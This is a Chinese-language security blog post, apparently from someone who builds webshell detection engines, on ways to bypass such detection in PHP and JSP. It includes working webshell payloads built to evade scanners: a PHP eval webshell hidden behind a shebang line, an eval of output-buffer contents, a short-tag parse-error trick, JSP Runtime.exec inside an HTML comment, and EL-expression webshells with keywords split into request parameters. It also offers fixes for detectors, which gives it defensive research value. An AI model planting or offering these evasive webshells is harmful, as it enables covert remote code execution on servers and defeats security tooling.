这其实是一篇写于 2022 年初的老文,不过鉴于很久没发过文章了,就来凑个数。

本文不再赘述编码、替换等通用绕过技术,也不太多的深入检测的核心原理,而是列举一些检测周边的 bug,这些 bug 基本原理都不复杂,但也确确实实的在影响检测效果,而且可能也是横跨多个引擎的通用绕过技术。

PHP Server 模式和 Cli 模式行为不同

正常情况下,我们运行 PHP 网站都是 PHP Server 的模式,但是在一些 Webshell 检测中,是使用的 Cli 模式,简单来说就是 php sample.php 这样来模拟执行和检测的。这样做的原因可能是:

这两种模式下,PHP 运行的行为基本是一样的,但是也存在细微的差别,这就可以用于来绕过 Webshell 检测。

shebang line

为了方便和其他脚本解释器一样,直接使用 ./x.php 的形式运行 PHP 脚本,PHP 解释器也提供了 shebang line 的支持,但是 PHP 对 shebang line 的支持和 Bash、Python 等比还有些不一样。

shebang line 是 #!/usr/bin/php#!/bin/bash#!/usr/bin/python 的形式,对于 Bash 和 Python 来说,语言的注释符就是 #,所以这一行自然就忽略掉了,不需要特殊的处理。而对于 PHP 来说,# 不是注释符,需要进行特殊的处理,否则就会出现语法错误。所以 Cli 模式下,会特殊的判断和跳过,而 Server 模式下面不会去处理。

#! <?php echo 100*100;

<?php
echo 200*200;

Server 模式下的输出是

#! 10000 40000

说明 #! 被当做普通的字符输出,后面的两段 PHP 代码正常进行了数学运算。而 Cli 模式下,控制台的输出只有 40000,说明第一行被忽略了。

基于这个原理,我们就可以构造一个 Webshell 来让 Cli 模式检测的时候被忽略,但是实际 Server 模式下还可以使用。

#! <?php $x=$_GET['x']; eval($x);

Output Buffering

利用 ob_get_contents 可以获取 PHP 代码在执行的时候已经输出到缓冲区的内容

<?php
echo "Hello \n";
$out1 = ob_get_contents();
echo "World\n";
$out2 = ob_get_contents();
var_dump($out1, $out2);
?>

Server 模式下的输出是

Hello
World
string(7) "Hello "
string(13) "Hello World "

在 Cli 模式下 output_buffering 默认为 0,只有当它不为 0 的时候,相当于隐式调用了 ob_start()ob_get_contents 可以拿到输出缓冲,否则拿不到内容,所以 Cli 模式下的输出是

Hello
World
bool(false)
bool(false)

基于这个原理,我们就可以构造一个 Webshell 来让 Cli 模式检测的时候被忽略,但是实际 Server 模式下还可以使用:

<?php
echo $_GET['x'];
eval(ob_get_contents());

Short Tag

PHP 代码有两种标签写法<?php<?,第二种写法需要开启 short_open_tag 选项才能使用。

比如 PHP 文件内容为

<?
echo 100*100;

使用 php -d short_open_tag=yes short.php 运行则输出 10000 说明 PHP 代码正常执行了。如果不加 short_open_tag=yes 则整个代码内容输出出来,说明没有被解析和执行。

如果 PHP 文件是长标签的形式,但是又加了 short_open_tag=yes 了会怎么样呢?经过实验可以发现还是可以执行的,也就是

  短标签文件 长标签文件
short_open_tag=yes 可以执行 可以执行
short_open_tag=no  不能执行 可以执行

为了避免某些 PHP 环境开启了短标签,被上传短标签的 Webshell,在直觉上,只要给引擎开启短标签支持就行。但是这样有一个非预期的副作用,就是在 WebShell 引擎引发语法错误,但是没开启短标签的环境(也就是大部分的生产环境)是可以执行的。

<?<?php
$x = $_GET['x'];
eval($x);

解决办法是修改 PHP 的语法规则,在发生这种错误的时候,关闭短标签重试一遍解析和检测。

寻找三方库的 bug

PHP-Parser 错误处理导致内存溢出

在 PHP Webshell 检测中,有的引擎会先使用 PHP-Parser 来进行预处理,尽可能的降低进入沙箱检测的文件数量,比如去除只有一个 Class 定义但是没有实例化和调用的文件等等。

有一次偶然将一个 ELF 二进制文件传入 Webshell 引擎进行检测的时候,发现引擎在检测了很长时间之后给出了一个检测失败的结果,这个不太符合预期,因为这种文件里面都没有 <?php 这种标签,那应该直接就放行了才对。

后面经过一些 debug,发现是 PHP-Parser 为了提供一些更加友好的错误信息,如果解析过程中出现错误,它不会直接报错,而是会保存下来,并尽力的去继续解析,在最后统一的抛出错误。这个文件就是触发了这个 feature,需要保存非常非常多的错误,最终导致内存溢出。

修复的方法也很简单,patch 一下这个库,在错误超过阈值之后就忽略掉,不再保存。

--- Collecting.php	2022-03-18 17:43:23.388998070 +0800
+++ Collecting.php.dup	2022-03-18 17:36:01.501810566 +0800
@@ -16,6 +16,9 @@ class Collecting implements ErrorHandler
     private $errors = [];

     public function handleError(Error $error) {
+        if (count($this->errors) > 50 ) {
+           return;
+        }
         $this->errors[] = $error;
     }

net.sourceforge.pmd.lang.jsp.JspParser 解析优先级问题

类似上述 PHP 检测的需求,有的 JSP Webshell 检测中,使用了 net.sourceforge.pmd.lang.jsp.JspParser 这个库进行初筛,比如判断一些敏感函数调用等等,这个库的问题更多。

比如

<!-- \u003c\u0025<%Runtime.getRuntime().exec(request.getParameter("test"));%> -->

<!-- 是 HTML 的注释,如果 JSP 代码在 HTML 注释中是不影响执行的,只不过渲染出来的内容在浏览器上是看不到的。但是这个库有个解析上优先级的问题,如果 JSP 代码在 HTML 注释中,那它整个 AST 节点都会变成 HTML 注释类型的,而不是 HTML 注释节点内嵌一个 JSP 代码节点,这样就造成遍历 AST 的时候无法访问到对应的 JSP 代码节点,产生一些初筛上问题。

在 Tomcat 上,这个实现是符合预期的,生成的 Java 代码如下:

out.write("<!-- \\u003c\\u0025");
Runtime.getRuntime().exec(request.getParameter("test"));
out.write(" -->");

既然需要使用 net.sourceforge.pmd.lang.jsp.JspParser 进行初筛之后还要使用 Tomcat 进行编译,那也可以直接使用 Tomcat 进行解析获取 AST,将初筛逻辑插入到了 Tomcat 内部的解析逻辑中,如果初筛发现这一定不是一个 Webshell 直接抛出一个特殊的异常结束编译就可以了,其他需要的信息也可以通过相关的 context 进行传递。

不出现敏感字符串的 EL 表达式 Webshell

在一些资料中,为了避免 JSP Webshell 中出现 <% 等标记,会使用了 EL 表达式来实现部分功能,比如

${Runtime.getRuntime().exec(param.a)}
${''.getClass().forName(param.c).newInstance()
     .getEngineByName("javascript").eval(param.s)}

但是这样的问题是 EL 表达式中还是会出现 RuntimegetEngineByName 等关键词,即使使用反射也还一定会有 forName 的函数名的出现,可能会被关键词命中。

其实在 EL 表达式中,是可以类似 JavaScript 一样,使用 a["b"] 或者 a.b 这两种方法来获取属性的,如果把函数名或者属性变成字符串,那去混淆就简单多了,比如

${"".getClass().forName("javax.script.ScriptEngineManager")
     .newInstance()
     .getEngineByName("JavaScript")
     .eval(" __SCRIPT__")}

就可以变成

${""["getClass"]()
     ["forName"]("javax.script.ScriptEngineManager")
     ["newInstance"]()
     ["getEngineByName"]("JavaScript")
     ["eval"]("__SCRIPT__")}

其中每一个字符串都可以使用 param.xxx 的参数来替换,或者使用 EL 表达式进行拼接转换,比如

${""["getC"+="lass"]()
     [param.a](param.b)
     [param.c]()
     [parm.d](param.e)
     [param.f](param.g)}

这样就可以使用不出现任何敏感字符的的 EL 表达式实现全功能的 Webshell 了。

这里再提一个 net.sourceforge.pmd.lang.jsp.JspParser 的 bug。它无法解析没有 JSP 标签,只有一个 el 表达式的文件。这也会产生一些绕过行为。

tomcat-japser 对 Bom 头和编码的处理

这个内容暂时不方便多说,简而言之就是可以构造一个样本,让两个不同版本的 tomcat-jasper 编译结果不一致, 其中一个是正常解析,另外一个是无法解析的,有兴趣的可以去翻下代码尝试去构造下。